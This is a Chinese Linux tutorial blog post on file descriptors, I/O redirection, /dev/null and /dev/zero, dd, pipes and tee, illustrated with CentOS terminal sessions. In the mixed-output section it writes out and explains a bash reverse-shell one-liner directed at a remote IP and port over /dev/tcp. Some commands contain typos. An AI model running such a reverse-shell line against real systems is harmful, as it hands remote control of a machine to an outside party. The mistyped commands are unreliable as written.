1、文件描述符的定义
是内核为了高效管理已被打开的文件所创建的索引,用于指向被打开的文件,所有执行I/O操作的系统调用都通过文件描述符;文件描述符是一个简单的非负整数,用以标明每一个被进程所打开的文件,程序刚刚启动的时候,第一个打开的文件是0,第二个是1,依此类推。也可以理解为是一个文件的身份ID 默认一个进程启动时都会打开三个文件:标准输入(0) 标准输出(1) 标准错误(2)用户通过操作系统处理信息的过程中,使用的交互设备文件(键盘,鼠标,显示器)
文件描述符限制: 因为文件描述符是系统的一个重要资源,一般来说系统有多少内存就可以打开多少的文件描述符,但是实际系统内核还是会做一些限制的,正常情况下一个系统最大打开文件数是内存的10%左右,我们也叫系统级限制,可以通过以下命令查看
ulimit -n
例:
[root@fishman-160 fd]# ulimit -n
1024
#CentOS8的默认数是1024个
如何查看某个进程的文件描述符
[root@fishman-160 fd]# ll /proc/$$/fd #$$表示当前进程的pid
例:查看一个名为"vim passwd"的进程打开的文件描述符列表
[root@fishman-160 ~]# ls -l /proc/$(ps -aux |grep -v "awk" |awk '/vim passwd/ {print $2}')/fd
总用量 0
lrwx------ 1 root root 64 7月 29 16:24 0 -> /dev/pts/1
lrwx------ 1 root root 64 7月 29 16:24 1 -> /dev/pts/1
lrwx------ 1 root root 64 7月 29 16:24 2 -> /dev/pts/1
lrwx------ 1 root root 64 7月 29 16:24 4 -> /root/.passwd.swp
ps -aux: 这部分命令用于显示当前系统中所有进程的详细信息。
grep -v "awk": 这部分命令用于过滤掉包含"awk"字符串的行,以排除命令本身的进程。
awk '/vim passwd/ {print $2}': 这部分命令用于从过滤后的结果中查找包含"vim passwd"字符串的行,并打印出第二列(即进程ID)。
$(...): 这部分命令用于将前面命令的结果作为参数传递给后面的命令。在这里,它将"vim passwd"进程的ID作为参数传递给下一步。
/proc/<PID>/fd: 这部分命令用于查看特定进程的文件描述符目录,其中<PID>是进程ID的占位符,会被替换为具体的进程ID。
2、输入输出标准说明
STDIN标准输入默认的设备是键盘,文件编号为0
命令将从标准输入文件中读取在执行过程中需要输入的数据,数据来源于文件,
STDOUT标准输出默认的设备是显示器,文件编号为1
命令执行后的输出结果,发送到标准输出文件,结果输出到文件
STDERR标准错误默认的设备是显示器,文件编号为2
命令将执行期间的各种错误信息发送到标准错误文件,错误信息发送到文件
3、重定向的意义
3.1、重定向输出
定义:将命令的正常输出结果保存到指定的文件中,而不是直接显示在显示器的屏幕上
重定向输出使用”>” “>>” 操作符号
> 覆盖内容
>> 追加内容
#若重定向的输出的文件不存在,则会新建该文件
例1:查看当前主机的CPU的类型保存到kernel.txt文件中(而不是直接显示到屏幕上)
[root@fishman-160 fd]# cat /proc/cpuinfo > /root/kernel.txt
[root@fishman-160 fd]# ls ~/kernel.txt
/root/kernel.txt
[root@fishman-160 fd]# head ~/kernel.txt
processor : 0
vendor_id : GenuineIntel
cpu family : 6
model : 60
model name : Intel(R) Xeon(R) CPU E3-1230 v3 @ 3.30GHz
stepping : 3
microcode : 0x27
cpu MHz : 3300.014
cache size : 8192 KB
physical id : 0
例2:将内核的版本信息追加到kernel.txt
[root@fishman-160 fd]# uname -a >> /root/kernel.txt
[root@fishman-160 fd]# tail /root/kernel.txt
wp : yes
flags : fpu vme de pse tsc msr pae mce cx8 apic sep mtrr pge mca cmov pat pse36 clflush mmx fxsr sse sse2 ss ht syscall nx pdpe1gb rdtscp lm constant_tsc arch_perfmon nopl xtopology tsc_reliable nonstop_tsc cpuid pni pclmulqdq vmx ssse3 fma cx16 pcid sse4_1 sse4_2 x2apic movbe popcnt tsc_deadline_timer aes xsave avx f16c rdrand hypervisor lahf_lm abm cpuid_fault invpcid_single pti ssbd ibrs ibpb stibp tpr_shadow vnmi ept vpid ept_ad fsgsbase tsc_adjust bmi1 avx2 smep bmi2 invpcid xsaveopt arat md_clear flush_l1d arch_capabilities
bugs : cpu_meltdown spectre_v1 spectre_v2 spec_store_bypass l1tf mds swapgs itlb_multihit srbds mmio_unknown
bogomips : 6600.02
clflush size : 64
cache_alignment : 64
address sizes : 45 bits physical, 48 bits virtual
power management:
Linux fishman-160 4.18.0-500.el8.x86_64 #1 SMP Wed Jun 28 00:07:07 UTC 2023 x86_64 x86_64 x86_64 GNU/Linux
3.2、重定向输入
将命令中接收输入的途径由默认的键盘改为其他文件.而不是等待从键盘输入从文件读取数据
<
<<
#配合终止符使用
好处:通过重定向输入可以使一些交互式操作过程能够通过读取文件来完成
例1:通过重定向把文件内容当做邮件正文发送
[root@fishman-160 fd]# mail -s 'hello' [email protected]
hello,yiping
.
EOT
[root@fishman-160 fd]# mail -s 'hello' [email protected] < /etc/hosts
#使用了重定向操作符 < 将 /etc/hosts 文件的内容作为邮件正文发送给收件人
例2:文件重定向给grep命令
[root@fishman-160 fd]# grep root /etc/passwd
root:x:0:0:root:/root:/bin/bash
operator:x:11:0:operator:/root:/sbin/nologin
[root@fishman-160 fd]# awk '/root/' /etc/passwd
root:x:0:0:root:/root:/bin/bash
operator:x:11:0:operator:/root:/sbin/nologin
[root@fishman-160 fd]# sed -n '/root/p' /etc/passwd
root:x:0:0:root:/root:/bin/bash
operator:x:11:0:operator:/root:/sbin/nologin
[root@fishman-160 fd]# grep root </etc/passwd
root:x:0:0:root:/root:/bin/bash
operator:x:11:0:operator:/root:/sbin/nologin
#<符号表示将/etc/passwd文件的内容作为标准输入传递给grep命令,然后grep命令在其中搜索包含"root"的行,并将匹配的行打印出来
例3:在脚本中我们可以通过重定向输入来打印消息菜单
在使用的时候需要在”<< “右边跟一对终止符。终止符是可以自定义(常用EOF,end of file)
[root@fishman-160 ~]# cat xuegod.sh #查看脚本内容
#!/bin/bash
cat << EOF
====================
1.mysql
2.httpd
3.oracle
====================
EOF
[root@fishman-160 ~]# ./xuegod.sh
====================
1.mysql
2.httpd
3.oracle
====================
例4:mqsql中的数据导入
mysql -u root -p1234 <<xuegod.sql
4、错误重定向
将命令执行过程中出现的错误信息 (选项或参数错误) 保存到指定的文件,而不是直接显示到显示器
作用:错误信息保存到文件
2> #操作符
2指的是错误文件的编号 (在使用标准的输入和输出省略了1、0 编号)
在实际应用中,错误重定向可以用来收集执行的错误信息.为排错提供依据;
对于shell脚本还可以将无关紧要的错误信息重定向到空文件/dev/null中,以保持脚本输出的简洁
例·:将错误显示的内容和正确显示的内容分开
[root@fishman-160 ~]# ls /tmp xxx
ls: 无法访问'xxx': 没有那个文件或目录
/tmp:
dbus-session-monitor.d8Qxb0 systemd-private-bdfdaddeefd940f39ee5f53a7b6e8314-ModemManager.service-Qi9TBy vmware-root_784-2966103535 vmware-root_817-4281646601
systemd-private-bdfdaddeefd940f39ee5f53a7b6e8314-bluetooth.service-wzScka systemd-private-bdfdaddeefd940f39ee5f53a7b6e8314-rtkit-daemon.service-9boyAW vmware-root_796-2991202916
systemd-private-bdfdaddeefd940f39ee5f53a7b6e8314-chronyd.service-6hCIN6 vmware-root_773-4256676260 vmware-root_801-4248614937
systemd-private-bdfdaddeefd940f39ee5f53a7b6e8314-colord.service-kuXq03 vmware-root_780-2957124724 vmware-root_804-2991071810
[root@fishman-160 ~]# ls /tmp xxx 1>ok.txt 2>error.txt #标准输出1 输出到Ok.txt,标准错误2输出到error.txt
[root@fishman-160 ~]# cat ok.txt
/tmp:
dbus-session-monitor.d8Qxb0
systemd-private-bdfdaddeefd940f39ee5f53a7b6e8314-bluetooth.service-wzScka
systemd-private-bdfdaddeefd940f39ee5f53a7b6e8314-chronyd.service-6hCIN6
systemd-private-bdfdaddeefd940f39ee5f53a7b6e8314-colord.service-kuXq03
systemd-private-bdfdaddeefd940f39ee5f53a7b6e8314-ModemManager.service-Qi9TBy
systemd-private-bdfdaddeefd940f39ee5f53a7b6e8314-rtkit-daemon.service-9boyAW
vmware-root_773-4256676260
vmware-root_780-2957124724
vmware-root_784-2966103535
vmware-root_796-2991202916
vmware-root_801-4248614937
vmware-root_804-2991071810
vmware-root_817-4281646601
[root@fishman-160 ~]# cat error.txt
ls: 无法访问'xxx': 没有那个文件或目录
重定向输出: 从哪输出信息 > 输出到哪个地方重定向
重定向输入: 输出到哪个地方 < 从哪输出信息
5、null黑洞和zero空文件
5.1、/dev/null黑洞
它等价于一个只写文件。所有写入它的内容都会永远丢失. 而尝试从它那儿读取内容则什么也读不到. 然而 /dev/null对命令行和脚本都非常的有用.
例:
[root@fishman-160 ~]# echo 123456 >> /dev/null
[root@fishman-160 ~]# cat /dev/null
[root@fishman-160 ~]# wc /dev/null
0 0 0 /dev/null
5.2、特殊设备/dev/zero
/dev/zero
是一个特殊的设备文件(device file)在类Unix系统(包括Linux)中。它是一个字符设备,通常位于/dev/zero
路径下。
这个设备文件的主要用途是生成一个无限连续的流,其中所有的字节都是零。当从/dev/zero
读取数据时,将返回无限连续的零字节流。因为它不会出现文件结尾,所以可以用于多种用途,如初始化、填充、压测等。
一些常见的用途包括:
1.初始化文件或磁盘:将/dev/zero
的内容重定向到某个文件或磁盘,可以将其填充为全零,实现初始化的目的。
dd if=/dev/zero of=/path/to/your/file bs=1M count=10
上面的命令会创建一个大小为10MB的全零文件
if代表输入文件。如果不指定if,默认就从stdin中读取输入
of代表输出文件,如果不指定of,默认就从stout中读取输出
bs 代表字节为单位的大小
count代表被复制的块数
2.生成特定大小的文件:类似于上面的用法,可以通过/dev/zero
生成特定大小的文件,而无需实际写入任何数据。
dd if=/dev/zero of=/path/to/your/file bs=1M count=100
上面的命令会生成一个大小为100MB的文件,但实际上该文件内容全为零。
请注意,读取/dev/zero
时会返回无限的零字节流,所以要小心使用,避免无限读取操作。一般来说,只有在需要初始化或生成特定大小的文件时才会使用它。
例1:产生一个1G的文件
[root@fishman-160 ~]# dd if=/dev/zero of=b.txt count=10 bs=100M
记录了10+0 的读入
记录了10+0 的写出
1048576000 bytes (1.0 GB, 1000 MiB) copied, 1.6104 s, 651 MB/s
[root@fishman-160 ~]# ls -lh b.txt
-rw-r--r-- 1 root root 1000M 7月 29 17:23 b.txt
6、混合输出
标准错误输出给标准正确输出
2>&1 #>&中的&必须写,不然就会重定向到文件1中
标准输出重定向给标准错误输出
1>&2 #>&中的&必须写,不然就会重定向到文件1中
把正确和错误的内容输出到相同的位置
&>
#&> filename 意思是把正确和错误的消息输入到文件filename中
例1:把标准错误重定向到标准正确输出
[root@fishman-160 ~]# ls 12345 >>11.txt 2>&1
[root@fishman-160 ~]# ls
11.txt 视频 下载 anaconda-ks.cfg cpu.txt domain.txt file2.txt kernel.txt network-scripts nginx.tar.xz passwd
公共 图片 音乐 a.txt -cvf error.txt file3.txt libncurses5-32bit-6.4.20230701-16.2.x86_64.rpm nginx-1.25.1 nohup.out password
模板 文档 桌面 b在linux编辑的文档熬windows下没有换行.sh dead.letter file1.txt initial-setup-ks.cfg ls nginx-1.25.1.tar.gz ok.txt xuegod.sh
[root@fishman-160 ~]# cat 11.txt
ls: 无法访问'12345': 没有那个文件或目录 #重定向成功
不加&会导致重定向到文件1,而不是重定向给标准输出
root@fishman-160 ~]# ls xxxx>11.txt 2>1
[root@fishman-160 ~]# ls
1 模板 文档 桌面 b在linux编辑的文档熬windows下没有换行.sh dead.letter file1.txt initial-setup-ks.cfg ls nginx-1.25.1.tar.gz ok.txt xuegod.sh
11.txt 视频 下载 anaconda-ks.cfg cpu.txt domain.txt file2.txt kernel.txt network-scripts nginx.tar.xz passwd
公共 图片 音乐 a.txt -cvf error.txt file3.txt libncurses5-32bit-6.4.20230701-16.2.x86_64.rpm nginx-1.25.1 nohup.out password
[root@fishman-160 ~]# cat 1
ls: 无法访问'xxxx': 没有那个文件或目录
例2:>&的使用
[root@fishman-160 ~]# ls xuegod.txt xxx >& 1.txt
[root@fishman-160 ~]# cat 1.txt
ls: cannot access 'xuegod.txt': No such file or directory
ls: cannot access 'xxx': No such file or directory
例3:工作中的shell >/dev/null 2&>1
将标准输出和标准错误输出全部重定向到/dev/null中,也就是将产生的所有信息全部丢弃
bash -i >&d/dev/tcp/1.1.1.1/9999 0>&1
bash: 启动 Bash shell。
-i: 以交互模式运行 Bash,使其保持开放状态以接受输入和输出。
>&/dev/tcp/1.1.1.1/9999: 将 Bash 的标准输出和标准错误重定向到 /dev/tcp/1.1.1.1/9999。
0>&1: 将标准输入重定向到标准输出,将输入流与输出流合并。
7、管道的‘|’使用
语法:
command a | command b |cmomand c
注意:
-
管道命令只处理前一个命令正确输出,不处理错误输出
-
管道右边的命令,必须能够接收标准输入的数据流命令才行
-
管道符可以把两条命令连起来,它可以链接多个命令使用
8、tee命令
tee
是一个在Unix和类Unix系统中常用的命令行工具,用于从标准输入读取数据,并将其复制到标准输出(通常是终端屏幕)以及一个或多个文件中。这个命令非常有用,特别是在需要同时在屏幕上查看输出和将其保存到文件中的情况下。
tee
命令的基本语法如 下:
command | tee [OPTION]... [FILE]...
其中,command
代表产生输出的命令或数据流。通过管道将其输出传递给tee
命令,然后tee
会将数据同时输出到标准输出和指定的文件中。
常见的选项包括:
-
-a
:以追加模式将输出添加到文件中,而不是覆盖文件内容。 -
-i
:忽略中断信号(SIGINT),这样在按下Ctrl+C
时,tee
命令不会终止。 -
--
:表示命令选项的结束,用于避免文件名与选项冲突的问题。
例1:将标准输出写入文件并在终端屏幕上显示
[root@fishman-160 ~]# df -h | tee file2.txt
Filesystem Size Used Avail Use% Mounted on
devtmpfs 942M 0 942M 0% /dev
tmpfs 970M 0 970M 0% /dev/shm
tmpfs 970M 18M 953M 2% /run
tmpfs 970M 0 970M 0% /sys/fs/cgroup
/dev/sda3 50G 6.4G 44G 13% /
/dev/sr0 4.5G 4.5G 0 100% /mnt
/dev/sda1 1014M 242M 773M 24% /boot
tmpfs 194M 12K 194M 1% /run/user/42
tmpfs 194M 8.0K 194M 1% /run/user/0
例2:追加输出到一个文件
[root@fishman-160 ~]# cat /etc/hosts | tee -a file2.txt
127.0.0.1 localhost localhost.localdomain localhost4 localhost4.localdomain4
::1 localhost localhost.localdomain localhost6 localhost6.localdomain6
[root@fishman-160 ~]# tail -2 file2.txt
127.0.0.1 localhost localhost.localdomain localhost4 localhost4.localdomain4
::1 localhost localhost.localdomain localhost6 localhost6.localdomain6
例3:将输出同时保存到多个文件
[root@fishman-160 ~]# ps -el | tee process_list1.txt process_list2.txt
[root@fishman-160 ~]# wc process_list1.txt
246 3444 20259 process_list1.txt
[root@fishman-160 ~]# wc process_list2.txt
246 3444 20259 process_list2.txt
标签:文件,root,dev,描述符,fishman,txt,160
From: https://www.cnblogs.com/kcloveworld/p/17984415